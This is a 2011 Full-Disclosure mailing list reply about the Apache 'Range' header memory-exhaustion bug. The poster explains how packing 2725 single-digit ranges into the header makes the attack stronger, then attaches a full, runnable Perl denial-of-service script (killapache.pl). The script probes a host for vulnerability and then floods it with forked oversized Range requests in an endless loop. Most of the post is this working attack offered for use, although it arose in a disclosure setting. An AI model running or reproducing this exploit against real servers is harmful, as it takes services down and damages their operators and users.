[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [Full-disclosure] Apache Killer



On Mon, Sep 12, 2011 at 11:26 PM, xD 0x41 wrote:
> I know this topic is OLD but, i just wonder and, also having spoken to kcope
> re this myself, discussed the size of each bucket wich can be made to
> stupendous amounts and using a different vector, ok, instead of Range:bytes=
> , picture a GET request with as was shown in the code is there, you
> "Request-Range: bytes=5-,5-69,5-" , now we have bypassed most filters
> already in place, and the request range code, is exactly the same as range
> code.
> Only one person spotted this.

HTTPD advisory was very clear that both Range and Request-Range can be
used. Everyone who unset Range probably unset Request-Range too. If
host is vulnerable its a little better to use Range because using
Request-Range will take 8 bytes more. (more bytes = less ranges)

I have tested a bit the exploit and saw 1300 ranges is just a fixed
number chosen by kingcope but it can be a little bigger. Range field
can be almost 8KB long and its a total waste of bytes to use x-y,
format where y is an increasing number that will take more than one
digit. So instead of 1300 you can get it to 2725 max if you use repeat
x-, where x is always single digit number. By doing that the exploit
gets much more effective.

I have attached the source if anyone cares
#Apache httpd Remote Denial of Service (memory exhaustion)
#Exploit by Kingcope. Concept by Michal Zalewski
#Some modifications by Javier Bassi.
#original code: http://seclists.org/fulldisclosure/2011/Aug/175
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#

use IO::Socket;
use Parallel::ForkManager;

sub usage {
        print "Apache Remote Denial of Service (memory exhaustion)\n";
        print "by Kingcope.\n";
        print "usage: perl killapache.pl <host> [numforks] <page>\n";
        print "example: perl killapache.pl www.example.com 50 index.php\n";
}

$w = "";
$num=0;
for ($k=0;$k<2725;$k++) {
        $w .= ",$num-";
        $num++;
        if ($num == 10)
        {
                $num=0;
        }
}

sub killapache {
use vars qw($w);
print "ATTACKING $ARGV[0] [using $numforks forks]\n";
        
$pm = new Parallel::ForkManager($numforks);

for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next;  
        
$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                                         Proto    => 'tcp');

$p = "HEAD $path HTTP/1.1\r\nHost: 
$ARGV[0]\r\nRange:bytes=0-$w\r\nAccept-Encoding: gzip\r\nConnection: 
close\r\n\r\n";
print $sock $p;

while(<$sock>) {
}
 $pm->finish;
}
$pm->wait_all_children;
}

sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                                         Proto    => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-\r\nAccept-Encoding: 
gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

$x = <$sock>;
if ($x =~ /Partial/) {
        print "host seems vuln\n";
        return 1;       
} else {
        return 0;       
}
}

if ($#ARGV < 0) {
        usage;
        exit;   
}

if ($#ARGV >= 1) {
        $numforks = $ARGV[1];
} else {$numforks = 50;}

$path = ($#ARGV > 1) ? '/' . $ARGV[2] : '/';

$v = testapache();
if ($v == 0) {
        print "Host does not seem vulnerable\n";
        exit;   
}
while(1) {
killapache();
}
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/